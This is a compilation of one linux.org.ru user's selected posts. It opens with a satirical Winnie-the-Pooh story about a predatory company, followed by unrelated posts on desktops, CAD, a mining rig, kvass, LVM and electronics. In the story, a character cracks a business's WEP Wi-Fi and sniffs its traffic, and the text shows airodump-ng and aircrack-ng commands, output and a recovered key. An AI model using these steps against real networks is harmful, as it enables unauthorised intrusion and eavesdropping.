LINUX.ORG.RU

Избранные сообщения igor_kr

Паленый мед (продолжение, 7)

Форум — Talks

### Паленый мед (продолжение, 6)

--

Внезапно в дверь снова постучали.

Пух повернул голову и увидел в проеме двери медведицу. Ее белый мех освящался лунным светом, а глаза были бездонными, как ночные озера. Она засмеялась и страстно поманила его к себе. Пух свалился со стула. Внезапно что-то больно ударило его в бок. Он повернул голову и в ужасе отпрыгнул, — это был его десктоп. Десктоп двигался и прыгал на него. Пух швырнул в него банку из под меда, но десктоп это не остановило. Внезапно корпус начал деформироваться, изгибаться и вдруг резко, раскрылся в гигантскую трехчелюстную пасть с острыми акульими зубами. Медведица опять засмеялась, но теперь ее смех был беззвучным. В комнате стояла абсолютная тишина, казалось брось каплю меда, и она повиснет в воздухе. Она заговорила, ее голос звучал прямо в голове Пуха. Он слышал какие-то слова, непонятные, тяжелые, наполненные ненавистью и животной страстью. А еще был стук, как будто чем-то тяжелым били по дереву, мерно и зло, под ритм сердца. Пасть прыгнула на Пуха, но он увернулся и вставил в нее горшок меда. Пасть отпрыгнула и начала жевать горшок, глядя на Пуха единственным белесым глазом. Медведица снова рассмеялась. Она была вся озарена лунным светом, несмотря на то, что уже вошла в комнату и сидела на столе. Стук неотвратимо приближался. Внезапно дверь в серверную начала открываться. Когда она открылась полностью, за ней была черная ночь. Из этой черноты вдруг начали выпрыгивать сервера. В полете они открывались в пасти и набрасывались на Пуха. Десятки серверов. Пух отбивался от них изо всех сил, но они повалили его и начали ожесточенно рвать его шкуру. Медведица смеялась. Вдруг снова раздался стук в дверь. Мир задрожал и рассыпался. Пух открыл глаза. На него смотрел Гагарин.

В дверь снова постучали. Пух поднялся на ноги, и слегка пошатываясь пошел к двери, в голове еще раздавался смех белой медведицы. Открыв дверь он увидел Пятачка.

-- Заснул что ли? — рявкнул Пятачок, — поехали к пчелам, будем сервера на мед менять.

Пух взял ноут и прыгнул в мерс Пятачка.

Бизнес-улей лесного отделения Пчелайна был огромный и уродливый. Пчелы старались выжать из него все. Нижние этажи они сдавали под офисы банкам и финансовым организациям. На самом верху располагался элитный ресторан, за цену одной кружки медовухи в нем можно было купить целый бочонок меда в Хрю-хрю баре. Снаружи весь офис был увешен рекламой, она была везде — на стенах, на растяжках, на асфальте, даже на машинах, припаркованных у входа.

Из офисных служащих компания выжимала все. Вся внутренняя политика компании была направлена на то, чтобы рабочий проводил как можно больше времени на рабочем месте. По закону нельзя было заставить служащего работать больше 8 часов в день. Поэтому были введены большие штрафы за опоздание, время прихода/ухода фиксировалось на входе в улей. Вкупе с ненадежностью лесного транспорта это приводило к тому, что служащие стали приходить на полчаса раньше начала рабочего дня. Формально рабочий день начинался в 8-00 утра, но в 16-00 никто домой уйти еще не мог, поскольку в 8-ми часах рабочего времени не учитывался час обеденного перерыва и время, потраченное на орг-собрания (которых было по два в день). Поэтому даже формально рабочий день заканчивался около 18-00, в действительности же раньше, чем в 20-00, ни одна рядовая пчела улей не покидала.

У больших компаний самая большая статья расходов это обычно зарплаты сотрудникам. Эффективные менеджеры в Пчелайне сумели сильно оптимизировать эти расходы.

В прошлом году туалеты в бизнес-улье стали платными. Какой-то менеджер подсчитал, что это не только принесет денег офису, но и стимулирует рабочих больше времени проводить на рабочем месте. Менеджер получил премию и новую должность. В этом году он ввел посекундную плату за посещение сортиров и сформировал несколько тарифов, аналогичных тарифам на сотовую связь, включая дополнительные услуги в виде туалетной бумаги, мыла, полотенец и т.д. Хоть это и пагубно сказалось на чистоте, но принесло просто бешенное количество бабла офису. Менеджер получил премию и поднялся еще на одну ступеньку по карьерной лестнице.

Другой менеджер придумал брать деньги за обеды, причем если рабочий отказывался платить, то ему просто уменьшали премию на соответствующую величину, поэтому платили все. Стоит отметить, что плата бралась по внутренним расценкам компании (дороже, чем, например, в баре напротив улья). Ужины оплачивались полностью добровольно, но за них тоже платили все.

Менеджер, работающий в отделе корпоративного духа, придумал перед праздниками добавлять в еду касторовое масло. Это стимулировало работников тратить деньги на посещение туалетов. А на полученные в ходе этой комбинации сверхприбыли, компания приобретала подарки (из своей продукции по рыночным ценам), которые дарила рабочим по случаю праздника.

Система штрафов в компании тоже была весьма прогрессивной. Существовали штрафы за невыполнение нормативов (сильно завышенных), за нарушение дресс-кода, за курение, за компьютерные игры, за нарушение корпоративного духа, за грязь на рабочем месте, за несоблюдение секретности и тысячи других. Каждый из них был небольшим, но в сумме они стабильно съедали большую часть ежемесячной премии.

Очень интересно у Пчелайна было организовано удержание рабочих. В старые времена все было просто: отдел кадров находил новых рабочих быстрее, чем увольнялись старые. Однако, с развитием внутренней корпоративной политики это стало затруднительно. Пять лет назад Пчелайн пролоббировал в думе принятие нескольких законов о кредитовании и несколько поправок в трудовой кодекс.

Теперь в компании могли нанимать только рабочих имеющих местную прописку. Стоимость жилья в лесу резко поползла вверх и через несколько лет стала просто астрономической. Это стимулировалось искусственно как строительными картелями, так и государством через налоги и жкх.

Компания помогала работнику в приобретении жилья посредством льготного ипотечного кредита от дружественного банка, с рассрочкой на 30 лет. Льготный, потому что всего под 10% годовых (вместо 25% обычных), ну а дополнительные проценты были стандартными: за инфляцию (в последние годы около 8%), 2% за страхование, 1% за обслуживание кредита. За просрочку платежей начислялось пенни в размере 20% от суммы просроченного платежа. Впрочем просрочки не случалось, ибо деньги автоматически переводились из зарплаты в банк, так что работник их даже не щупал. Банк платил Пчелайну за «рекламу» ипотечных кредитов, причем платил по «двойным» счетам.

Если работник увольнялся, то по договору он был обязан уплатить расходы компании на поиск нового работника (примерно 2 полные зарплаты), он терял льготы по кредиту и должен был в течении месяца покрыть все что он должен был бы заплатить без льгот с процентами за просрочку платежей. Если же у него было недостаточно денег, то его долги продавались в государственную коллекторскую компанию, которая автоматически вычитала из всех его счетов во всех банках сумму долга, а если и этого было недостаточно (почти всегда), то из любой последующей его зарплаты всю сумму, кроме до одного мрота. Проценты в коллекторской компании были очень большими (ибо долги «плохие»). Выплатить долг было фактически невозможно. Фактически, после этого работник мог работать где угодно и с любой зарплатой, но получать на руки он будет только один мрот. У работника оставался только один выход — сменить гражданство и уехать из страны навсегда. Но в этом году в думе приняли закон о запрете выезда за границу лицам с задолженностью.

Все это приводило к тому, что улей получал от своих работников за соц.пакет больше, чем платил им зарплатой. А чтобы у работника были деньги, которые он может отдавать за соц.пакет, в улье было организовано большое количество вечерних подработок, — небольших заданий, за весьма скромную плату. Все работники с благодарностью ими пользовались, ибо им нужно было платить за кредиты.

Недавно в компании было обнаружено, что новые работники часто заболевали, видимо от непривычного ритма жизни. Поэтому в этом году было принято решение принимать на работу только вместе со страховым взносом за больничные, в размере двух полных месячных окладов. Эти деньги тратились на оплату больничных работнику, если он заболевал в течении первых шести месяцев, а остаток возвращался через год (без учета инфляции). Поскольку у работников обычно таких денег не было (зарплата ведь формально была очень большая), то в улей организовал ломбард, в который «под залог» принимал имущество новоиспеченного работника. Само собой, даже через год работы свободных денег у работника не оказывалось и заложенное имущество реализовывалось на вторичном рынке (обычно под микро-кредиты, менеджерам среднего звена).

Поскольку зарплата работника полностью возвращалась в Пчелайн (в крайнем случае в виде долгого кредита), то улей мог постоянно расширяться. Заманивали в него разными способами, например, через испытательный срок. Работник принимался на испытательный срок в какой-нибудь отдаленный офис компании, с небольшой зарплатой, но без всех вычетов. Зарплата платилась ему честно, а работа была простой. В конце срока ему говорили, что он здорово себя проявил и начальство приняло решение предложить ему работу в одном из крупных офисов. Работник думая, что там все будет также, только зарплата больше, с радостью подписывал контракт. После чего для него наступал ад, но было уже поздно. Государственная карательная машина была на стороне кредитора. Были и другие способы, — премии служащим за привлеченных новых работников, откаты ректорам вузов за студентов, трудоустроенных для прохождения «производственной практики» (с некоторых пор началось активное лоббирование введения обязательной трудовой практики в школах), скупка мелких компаний с большим штатом служащих, вербовка в странах с революционной ситуацией (оттуда всегда большой поток беженцев согласных на все) и пр.пр.пр.

Несмотря на сей ад, все работники, как один, хвалили свою компанию, говорили что она лучшая, писали в интернет-дневниках, что работать в такой компании «большая честь». Подобные действия позволяли уменьшить штрафы, в то время как обсуждение реальной ситуации квалифицировалось как распространение информации порочащей компанию, что каралось большими штрафами и полностью лишало шансов подняться по карьерной лестнице. А это был единственный способ выжить в кампании, но нужно было подняться высоко. Иерархия была простой, над каждыми пятью работниками одного уровня был один начальник. Чтобы стать начальником нужно было проявить себя в работе, стать неформальным лидером, быть активистом, перевыполнять план, участвовать в корпоративных конкурсах и т.п., но главным было суметь организовать служащих на внеплановые добровольные работы. Поскольку альтернатив не было, то в ход шло все — шпионаж, доносы, воровство, секс, фальсификация, подсиживание... Это негласно поощрялось руководством компании, т.к. это стимулировало получение результата и создавало компромат на работников.

Менеджеры среднего звена зарабатывали существенно больше рядовых исполнителей, поэтому для них были разработаны отдельные оптимизационные схемы. Они располагались в более комфортных помещениях, в отдельных зонах с более высокими ценами на питание. Им позволялось употреблять алкоголь на рабочем месте (по вечерам), посещать проституток (в улье были специальные релаксационные комнаты). Наиболее эффективным было подбить менеджера на организацию совместного бизнеса: 5% менеджеру и 95% Пчелайну. Бизнесы обычно прогорали, и выплаты по ним съедали большую часть повышенной зарплаты, но если он все-таки развивался, то средний менеджер мог вырасти в старшего менеджера.

Для старшего менеджера мир выглядел гораздо лучше. Собственно он уже начинал немного зарабатывать, хотя еще должен был работать. Налоги на бизнес постоянно увеличивались, поэтому приличного дохода ему было не видать, за исключением случаев, когда его бизнес пересекался с интересами чиновников, тогда распилы, откаты и уклонения от уплаты налогов делали свое черное дело. Это удавалось далеко не всем, но если удавалось, то старший менеджер мог стать младшим партнером компании.

Младший партнер обязан был выкупить часть простых акций компании, обычно это приводило к тому, что от 5% бизнеса оставалось только 0.5%. После этого можно было считать, что его жизнь удалась. Компания обеспечивала его жильем, гасила его кредиты, давала машину с водителем, личный кабинет и ключ от личного (уже бесплатного) сортира. И хотя зарплата была по-прежнему небольшой, но это компенсировалось возможностью получать откаты и участвовать в распилах.

Младший партнер теоретически мог еще вырасти в среднего и даже в старшего партнера, но ...

Вот в эту компанию Пятачок и Пух хотели выгодно продать несколько камазов серверов.

В переговорной Пуха и Пяточка ждало пять пчел в костюмах. Они представились: два младших партнера, два секретаря и особист.

После обмена приветствиями, Пятачок предложил им ознакомится с его коммерческим предложением. Предложение было сформировано в виде интерактивного видео, включающего в себя презентации спорт клуба «100 кабанов», стрип-бара «Хрю-хрю», грузоперевозочной компании «Грузтрестхряк» и собственно серверов, которые хотели продать. Пчелы открыли свои ноутбуки и начали смотреть.

Пух тоже открыл свой ноут и просканировал доступные сети.

# airodump-ng 

По уровню сигнала он определил mac-адреса пчелиных ноутов и нашел точку, через которую они сидели. Точка использовала WEP шифрование.

# airodump-ng -c 3 --ivs --bssid '00:29:5B:D6:CA:40' -w capture.cap wlan0

Пух с удовольствием смотрел как быстро собираются вектора инициализации. Собственно только ради этого презентация и была сделана.

 CH  3 ][ Elapsed: 38 mins ][ 2012-12-12 23:25 ][ Decloak: 00:29:5B:D6:CA:40

BSSID  	           PWR 	RXQ  Beacons    #Data,  #/s  CH  MB   ENC  CIPHER AUTH   ESSID
00:29:5B:D6:CA:40  -66   11     8642     50393  341   3  54   WEP  WEP 	  OPN  room100

BSSID              STATION            PWR    Rate    Lost  Packets     Probes
00:29:5B:D6:CA:40  00:11:09:25:32:10  -24    	1     -24        4      12321
00:29:5B:D6:CA:40  00:34:19:93:D3:32  -23    	1     -24        4      13237
00:29:5B:D6:CA:40  00:F1:0D:15:43:80  -24    	1     -24        4      11349
00:29:5B:D6:CA:40  00:2D:F9:94:A8:54  -26    	1     -24        4      13318
00:29:5B:D6:CA:40  00:16:0B:45:38:82  -24    	1     -24        4      10744

Через некоторое время их уже стало достаточно для взлома.

# aircrack-ng capture.cap-1.ivs

 KEY FOUND! [ AD:36:22:17:8F ] 
        Decrypted correctly: 100%

Пух успешно подсоединился к точке, но увидел запрос на логин. RADIUS-сервер, догадался Пух, наверное, поэтому они и ограничились WEP шифрованием. Взламывать дальше времени не было, ибо презентация уже заканчивалась, впрочем Пух этого делать не собирался. Его целью была прослушка трафика.

$ wireshark

Теперь Пух был готов к переговорам, он чем он сообщил Пятачку подав ему условных знак.

...

 

soomrack
()

А какой травяной чай Вы предпочитаете?

Форум — Talks

Я вот пока на даче летом завариваю тархун + мята + лист черной смородины. А чем заливаешься на даче ты, юзернейм? /* Имеются в виду не покупные чаи, а доморощенное, с огорода */

 два чаю, ,

AiFiLTr0
()

Разукрашка

Галерея — Скриншоты

После прочтения поста вспомнил свои прошлогодние затеи с раскрашиванием терминалов. Заново прочитал это и это, немного перепелил вывод скрипта под себя.

Скрипт автоматом генерирует цветовую схему для терминалов и GTK2/3, настроен под тёмную гамму. Я использую для этих наркоманств угловатую тему Mist, но вы можете перепилить под ту же более симпатичную и аккуратную oomox, сделать опцию для светлого оформления и терминалов (или, если хотите, я могу).

( Ну и как работает твоя развалюха? )

Скрипт

Mist-Colorized

PNG

 , , , trip,

zezic
()

Iris

Галерея — Скриншоты

GTK: Iris Light
Обои: Berries (источник не найден)
Иконки: перекрашенные Flattr
Шрифты: Russia и PT Mono

PNG

zezic
()

Традиционная наркомания

Галерея — Скриншоты

Запилил простенькую js-превьюшку, чтобы можно было гамму для GTK темы подбирать: http://actionless.github.io/oomox/

Собственно, далее решил опробовать всё это в деле.

Рандомизатор еще больше накалил градус неадеквата: http://imgur.com/a/OqQLw

В нормальном разрешении

 

actionless
()

Еще один аппаратный мониторинг

Галерея — Рабочие места

В подмогу вот этому девайсу сделал еще один. Показывает загрузку процессора, количество занятой памяти и трех LA до 10 (после 10 загорается лампа «Overflow»). Внутри Arduino Micro, на компе - питоновый софт, который забирает статистику с сервера. Передняя панель сделана методом ЛУТ`а, покрашена и отполирована для получения узора. Индикаторы с ебея, с переделанной шкалой и подсветкой. Остальные мелочи с радиорынка. Корпус - коробка от чая.

Больше фоток тут: http://fotki.yandex.ru/users/mdevaev/album/398840/

А тут - инструкция по сборке: http://liksys.livejournal.com/4830.html

 ,

liksys
()

Видеолекции по теорфизике под свободной лицензией (update)

Новости — Документация
Группа Документация

Силами кафедры теоретической физики физического факультета Новосибирского государственного университета были записаны лекции по физике. Исходные видеофайлы выложены в открытый доступ под лицензией CC-BY-SA 4.0.

В дополнение к основной площадке лекции можно получить с использованием ниже перечисленных торрент-файлов, а также с помощью dc++ сети. Круглосуточная раздача ведётся пользователем Evgueni[serv] на трекере DCMagnets.RU (dchub://178.130.0.205:411).

Первоначальная новость тут

>>> Подробности

 

Evgueni
()

Полноценные САПР под Linux есть

Форум — Talks

Далеко не все знают, что есть такая САПР, как Siemens NX - полноценная трехмерная CAD/CAM/CAE-система, которая интегрируется в том числе с PLM-системой Teamcenter. NX используется в ОКБ Сухого, Volkswagen, Hyundai, Samsung и прочих малоизвестных фирмах. В ней проектируют в том числе самолеты и автомобили.

Еще меньше людей знает, что существует нативная версия NX для Linux. Siemens Teamcenter для Linux тоже есть. Теперь всех виндоглазых клоунов, утверждающих, что под Linux нет полноценных САПР, можно бить палками.

Еще интересные моменты:
- Официально заявлено о полной поддержке КОМПАС-3D в Linux.
- Как установить ArtCAM в Linux.
- Пишут, что Catia работает под Wine.
- А тут пишут, что T-Flex работает.

Вопросы в студию:
1. Какие еще существуют полноценные нативные САПР под Linux?
2. Какие полноценные САПР работают в Linux через Wine и/или аналоги?

 

ns_ramesses
()

Обмазывание САПР по электронике

Галерея — Скриншоты

По естественной, природной надобности понадобилась САПР по электронике. P-CAD — это было давно и уже неправда. Eagle, Diptrace? Кастрировано и уныло. KiCad? То что надо! Обмазал библиотеками компонентов из Eagle и наслаждаюсь жизнью. Есть ништяк ввиде неплохого автотрассировщика freeroute (после пары простых фокусов можно использовать в оффлайне). Во время посиделок за KiCad, осознал что я крайне унылый студент и очень нерадиво относился к учёбе, т.к. многие вещи пришлось изучать с нуля и набегать на преподавателей с целью узнать что-нибудь нужное.
Стыдно.
Чистый рабочий стол
P.S. Скриншот делался во время выполнения автотрассировки, т.е. на скриншоте показан процесс, а не результат выполнения процесса.

 , ,

pikwik
()

Маленькая домашняя числодробилка

Галерея — Рабочие места

По просьбам телезрителей выкладываю фото своей небольшой фермы, используемой для майнинга scrypt'овых криптовалют. На фото 3 рига, 4-й стоит на веранде.

Основа каждого рига - деревянный каркас из реек 20х20 с двухярусным расположением видеокарт, хотя по факту почти все видеокарты стоят на райзерах на верхнем этаже с максимальным зазором друг между другом.

Изначально риги задумывались как полностью автономные модули с подключением к сети по wifi - на левом риге используется nano wifi адаптер (Tp-link TL-WN725N), на правом (и всех остальных) - роутер Tp-link 740 в качестве клиента точки доступа. Однако связь по wifi оказалась не особо стабильная и добавляла проблем, поэтому сейчас все подключено к общему свичу, который подключен к проводной сети. По wifi через роутер подключен только первый риг на веранде, куда пока нет возможности протянуть провод.

Доступность ригов мониторится через Nagios с моментальным уведомлением на почту, плюс есть мониторинг доступности роутеров-клиентов, плюс мониторинг на пулах.

В качестве системы везде используется Debian 7, драйвер - fglrx. На всех ригах система установлена на флешку, где сделано 2 раздела. Первый постоянно в RO - там основная часть системы; второй - в RW, там домашний каталог пользователя и некоторые файлы / каталоги, которые хотят перезаписываться. Т.е., система гарантированно поднимется после жесткого выключения питания, плюс так снижается износ флешки от постоянной записи.

Для мониторинга на самом риге используется самописный скрипт, который следит за температурой видеокарт. Если она ниже заданного порога - уведомление в jabber и жесткий ребут машины. Если температура упала, но причина в недоступности интернета - машина начинает периодически менять уровень шума вентиляторов карт, чтобы привлечь внимание.

Из видеокарт сейчас используются 5850, 5870, 6870, 6970, десяток 7850 и пара 7950. Общий хэшрейт - 6,45 Mh/s. Майню большей частью лайткоины, иногда переключаюсь на Novacoin. От старых карт планирую избавиться для оптимизации энергопотребления.

Остальное железо - материнские платы Gigabyte GA990XA-UD3, Athlon 250, по 4 Гб оперативной памяти (может где-то затерялась планка на 2 Гб - не помню), Chieftec APS-1000C, pci-e райзеры с ebay, USB-флешки.

На первом риге из-за крайне высокого передаваемого через материнку тока обгорели контакты, по которым передается +12 В. Что интересно, отдельный 8-мипиновый разъем, от которого питается процессор, для запитки карт расширения никак не задействован.

http://rain.linuxoid.in/fileupload/photos/hardware/rig/p8085693.jpg

http://rain.linuxoid.in/fileupload/photos/hardware/rig/p8085695.jpg

В итоге, чтобы железо не простаивало - распаял эти 2 провода прямо на материнку

Летом железки приходится охлаждать вентиляторами, кондиционера пока нет.

Помимо майнинга риги бывают полезны для размораживания пиццы и сосисок, а также для сушки белья.

Так и живем :)

 , ,

YAR
()

Сбрасывается alsamixer

Форум — General

Сабж. Запускаю скайп - меня не слышат. Запись wxCam также звук не пишет. Запускаю alsamixer, устанавливаю соответствующий уровень Capture - работает, пишет, но до перезагрузки/выключения ноута. После сбрасывается в ноль, не сохраняет уровень.
Куда копать?
Slackware 14.0 x86 3.9.5-smp

cadaber
()

Коллекция музыкальных инструментов и организация рабочего места

Галерея — Рабочие места

Когда-то давно обещал выложить свою коллекцию музыкальных инструментов, но с тех пор много воды утекло, инструменты менялись, кроме того, часть инструментов вообще не мои, но используются в нашей группе. В общем, по порядку, слева направо.

На столе: за книжкой плохо видно, перефотографировать лень — блок-флейта Venus, куплена в 90-х годах, играю мало. Затем — марака. Сравнительно известный инструмент, представляет собой полое яйцо, внутри которого шуршит наполнитель. Две мараки (маракас) позволяют играть более сложные ритмы. За маракой лежит гуиро. На гуиро играют палочкой, получается крякающий звук, как если бы деревянной палочкой водили по стиральной доске. Плюс пара дырок, которые можно прикрывать для изменения тембра. За гуиро лежит клаве. Клаве делают из специального дерева, чтобы оно звучало звонче. За клаве лежит ковбелл, коровий колокольчик. Достаточно частый гость и в европейской ударной установке. Ну и самый последний, с кубинским флагом — это шейкер. Сделан из коробки из-под чипсов и наполнен гречкой. На полном серьёзе, гречка оказалась лучше риса — она неправильной формы, громче стучит.

Далее — на стойке один из лучших студийных микрофонов современности «Октава МК-105» за поп-фильтром. На столике с микшером — сценический вокальный микрофон Октава МК-012 в коробочке. Пульт — Allen&Heath ZED12FX, куплен в США, поскольку в России цены на него невменяемы. Гитара 12-струнная, Ibanez AEL2012E. Батарейка задолбала садиться :) За ней конга, одна, вторая уехала в другое место. Наконец, мой рабочий инструмент — бас-гитара Fernandes Gravity 4 и рояль Korg SP-250, в кадр полностью не влез :) Тоже куплен в США по той же причине. В кадр также не вошёл аккордеон Firotti Elegance, четырёхголосый, послевоенный, 60-х годов выпуска. Он в плохом косметическом состоянии…

Теперь что касается рабочего места. Пусть вас не смущает компьютер под столом, рабочее место основано на базе маленькой коробочки Foxconn AT-7300, установленной около правой колонки (синий огонёк на фото). Внутри мобильный процессор Core i3-3217U, 8 гигов памяти, SSD. К нему пристыкован через USB3 внешний винт WD на 2TB. Вся эта конструкция практически не производит шума, что и было основной целью. В качестве звуковой карты используется всё тот же пульт Allen&Heath, у которого есть USB вход-выход.

Компьютер под столом мощнее, там дискретная видеокарта (Core i3-2120/Radeon HD6570), больше памяти, но там HDD на 320 гигов. Используется для запуска тяжёлых приложений (Blender, Darktable, etc.) и игрушек. Подключён гигабитным линком к первому компьютеру, ресурсы раздаются по NFS. Первый компьютер к тому же содержит виртуалку (KVM), которая служит роутером и раздаёт интернет по WiFi на всю квартиру. Первый компьютер, соответственно, никогда не выключается. В качестве средства для переключения клавиатуры и мыши между компьютерами используется USB-хаб. Входы переключаются на мониторе.

Aceler
()

и снова квас и карбонизация

Форум — Talks

Мне таки удалось сделать нечто напоминающее квас. Теперь хочу отточить методику. Но для этого мне нужно понять принципы варки этой «бурды». Короче, объясните мне теорию.

Что такое закваска? Чем она отличается от дрожжей? Какую роль исполняет ржаная мука? Как и когда добавлять изюм, а так же какова его функция? Карбонизация: что и почему происходит? Зачем добавлять прожаренные хлебные корки? И вообще нужно ли их добавлять? А если нужно, то когда?

Я думаю, что поняв теорию я прекращу лазить по интернету не в состоянии выбрать рецепт, а смогу сам мутить четкий квас.

Прошу знающих людей объяснить.

сейчас на руках: сахар, мед, живые дрожжи, сухие дрожжи, ржаная мука, какой-то сухой квас (состав: ржаной солод, мука (непонятно какая, не написано), соль), мед, изюм.

Хочу попытаться замутить из этого нечто получше того, что было.

 ,

dikiy
()

Обучение детей программированию

Форум — Talks

В последнее время часто занимаюсь программированием с детишками, возраст около 9 - 11 лет.

Им реально нравится заниматься, особый восторг, когда что-то получается.

Причем обучение мальчиков и девочек отличается. Девочкам больше нравится, когда сначала долго объясняешь, рисуешь, как оно все происходит, а потом показываешь пример. Мальчики наоборот, хотят сначала посмотреть на пример, и потом лучше понимают, как оно работает. Иногда с пониманием бывают проблемы, тогда приходится придумывать волшебные примеры, еще часто играем в игру «почувствуй себя компилятором». Еще, с ними приходится повторять все по много раз, почему-то дети часто забывают.

Кстати, образовалось два небольших лагеря - те, которым легче дается ООП язык, и те, которым больше нравятся мини-games на Сanvas.

P.S. Вначале пробовали разные инструменты в стиле «игрового» обучения, везде написано что детям так легче. Все фигня, создает мнимую реальность и только вводит в заблуждение. Правда был один случай, что девочка очень расстроилась, когда не появился Animal.. Но это быстро прошло.

В общем, интересно узнать, может быть у кого-то был похожий опыт с детьми? С чего вы начинали? Есть какие-то особые методики?

Спасибо.

 ,

amidala
()

LVM на Desktop на 1 старом и 2 новыми хардами: за и против?

Форум — Desktop

Имеется три hdd: два относительно новых WDC WD5003AZEX-00K1GA0 на 500 Gb и относительно старый ST31000528AS на 1 Tb.

Есть желание покрыть этим железом две задачи: организацию более или менее толерантного к выходу hdd из строя хранилища файлов (~100 Gb) + архив фильмов.

Планирую выделить по разделу на паре WDC и организовать RAID1 при помощи mdadm. Это решит задачу 1.

Тогда остаётся по одному разделу на WDC и вся Barracuda (допустим, там будет один большой раздел).

На ум пришли следующие пути организации:

  • LVM на все 3 раздела.

    Pros: удобно иметь единый большой раздел.

    Cons: выход из строя одного из хардов приведет к потере всей коллекции (или по меньшей мере к чрезвычайно-занимательному процессу восстановления данных, к которому я не готов)

  • LVM на 2 раздела WDC + ФС на разделе барракуды.

    Pros: данные на паре WDC не потеряются в случае выхода из строя барракуды.

    Cons: две директории, в принципе, терпимо, хотя одна все-таки удобнее.

Опционально: так же забежала шальная мысль по mdadm raid0 на паре WDC в указанных выше связках, но, полагаю это не приведет ни к чему хорошему.

Что посоветуете? Есть истории успехов с LVM на нескольких хардах?

 , , ,

omegatype
()

Один Vim с разными цветсхемами для разных задач в различных терминалах. (+ awesome)

Галерея — Скриншоты

Раз уж пацаны гонят оголтелый треш в последнее время в галерее, то тут такое дело:

Не сколько скриншот рабочего стола, хоть не без этого, сколько скриншот демонстрирующий удобную настройку редактора с одним конфигом - для разных задач, с разными цветсхемами для различных терминалов. Всё работает без изменения конфига (~/.vimrc).

Этот пост-скриншот для тех, в большей степени новичков, кто не в курсе дела такой возможности настройки.

Я вообще постоянно использую 4 терминала + tmux в некоторых из них, это: urxvt, практически идеальный Terminal-0.4.8 (сейчас называется xfce4-terminal-0.6.x - но оно неюзабельное и с багами), гибко настраиваемый ROXterm и относительно новый и малоизвестный пользователям-рабам тяжелых DE - крутой и моднейший клавиатуро-ориентированный(sic!) терминал termite (вимерам юзать однозначно!).

Каждый терминал для определенной (не жестко) задачи или настроения: для руби, md/haml/coffee, для Си или Эрланга. Для манов через vimpager. Для системных конфигов. Разные цветсхемы, различные шрифты - со сглаживанием или без. С различными схемами не только вима, но и статусбара/интерфейса вима, причем в одном случае это vim-powerline, в других vim-airline в свою очередь также с разными цветами. Кайфотне.

Суть в том, что каждый раз (если использовать один терминал) включать/выключать схему терминала, вима, менять шрифт и сглаживание - жутко неудобно же. Поэтому, можно настроить Vim вот так:

if $COLORTERM == 'Terminal'
    желаемые настройки
endif

Также можно можно настроить вим менять схему и интерфейс в зависимости от дня недели и времени суток, например днём светлую, ночью тёмную:

let weekday=system('date +%u')
let hour=system('date +%H')
if hour == x
  бла бла
endif

Не каждый терминал возвращает $COLORTERM, например Terminal и urxvt - да, а все остальные из списка нет. Поэтому я запускаю их как скрипты на хоткее следующего содержания, например termite.sh:

#!/bin/bash
export COLORTERM="termite" && /usr/bin/termite --geometry=1248x620+60+40
возможно можно как-то более по умному, но и так работает, всё ок.

Ну и детали:

Gentoo GNU/Linux 3.10.5-geek
Awesome-3.4.15
тема осома: Penumbra

На скриншоте Vim 7.4 (не gvim), некоторые цветсхемы работают благодаря плугину CSApprox.

Только полный кастом или никак, пацаны!

Такие дела.

 , , , ,

science
()

Свободное ПО в электронике - 2

Галерея — Скриншоты

Этот скрин - продолжение старой темы Свободное ПО в электронике..

Скрин очередной раз демонстрирует использование СПО в области разработки электроники. На экране проект контроллера торгового автомата (Vending Machine Controller), работу по которому меня попросили сделать. Проект реальный, никакое не хобби, за это платятся деньги. Что это за автомат, я рассказать не могу, так как, наверное, нельзя пока что. :)

В мою задачу входит сделать контроллер, который подключается к хост-компьютеру по USB. Контроллер управляет матрицей моторов, задвижками, принимает сигналы с концевиков, оптических датчиков и энкодера. Также этот контроллер работает с купюро- и монетоприемником (на фотографии) по последовательному протоколу MDB (физически это «токовая петля»), а также осуществляет обмен с хост-компьютером по протоколу (пока что) Modbus RTU. На хост-компьютере будет стоять Debian GNU/Linux по моей инициативе (уже поставил). Он-то и взаимодействует с пользователем. Будет удаленный доступ к автомату, возможность менять не только ПО, но и прошивку контроллера дистанционно.

Разработка велась по привычке в gEDA (gschem, pcb). Очередной раз не рекомендую пользоваться gEDA людям со слабыми нервами. Вообще, у меня накопились претензии к этому пакету. Посмотрим на перспективу их преодоления потом, так как в процессе работы не было времени читать рассылку. :)

Какие еще интересности. Пишу прошивку и параллельно делаю симулятор автомата на базе проекта simavr. Это открытый симулятор микроконтроллеров семейства AVR, написанный на Си. Симулятор в итоге предоставляет библиотеку libsimavr.so Случано его нашел. По-моему, тут брал: http://gitorious.org/simavr. Однако с документацией там плохо, поэтому пришлось кучу времени потратить, чтобы понять, как он работает по нескольким примерам в examples и исходному коду. Я к нему прилепил симуляцию всей периферии: микросхемы драйверов моторов, драйверы для реле, датчики, движение лифта и стола в реальном времени, срабатывание концевиков, задвижек, оптических датчиков в реальном времени, микроволновая печь и прочее, симулировал протокол купюро- и монетоприемника, энкодер. Все это уже написал сам. Сейчас еще сижу и дорабатываю, хочу посмотреть на перспективу сделать автоматизированное тестирование прошивок. Пока же смотрю логи с временными отметками глазами, а надо бы эти логи как-то скриптами покромсать. Также эмулируется хост-компьютер, но сделаю так, чтобы реальное пользовательское приложение могло работать с моделью как с реальным автоматом. Зато к железу можно не прикасаться вообще. Причем доступна отладка через avr-gdb напрямую из симулятора, а еще в этом симуляторе есть генерация временных диаграмм в формате VCD, которые можно смотреть в gtkwave, но у меня эта возможность не задействована. Моделирую аварийные ситуации, ошибки протоколов.

Извините за качество фото - дома только древняя мыльница.

 , gschem, , ,

Zubok
()

Свободное ПО в электронике.

Галерея — Скриншоты

Многое хочется написать. Во-первых, про разрешение 800х600 скажу, чтобы сразу не придирались. У меня сейчас стоит карта S3 Trio64V2, для которой я дорабатываю драйвер для Xorg. Так что низкое разрешение -- это рабочий момент.

На экране изображена моя текущая деятельность -- разработка инфракрасного датчика. Весь фетиш в том, что я, проявив героизм против фраз "Да что ты мучаешься! Поставь OrCAD! Делать тебе нечего?", использовал исключительно свободное ПО. Схему я создавал в gschem (проект gEDA). Трассировка ручками осуществлялась в PCB. Просмотр результатов перед передачей в производство -- gerbv. И вот результат труда вы видите на экране: экспериментальная партия однослойных печатных плат (25 шт.) с маской и шелкографией, изготовленная в Зеленограде. Проект передавался в производство в формате Gerber RS-274X, файл для сверлильного станка в формате NC drill/Excellon. У технолога не возникло ни единого вопроса, кроме способа разделки плат (фрезерование или скрайбирование).

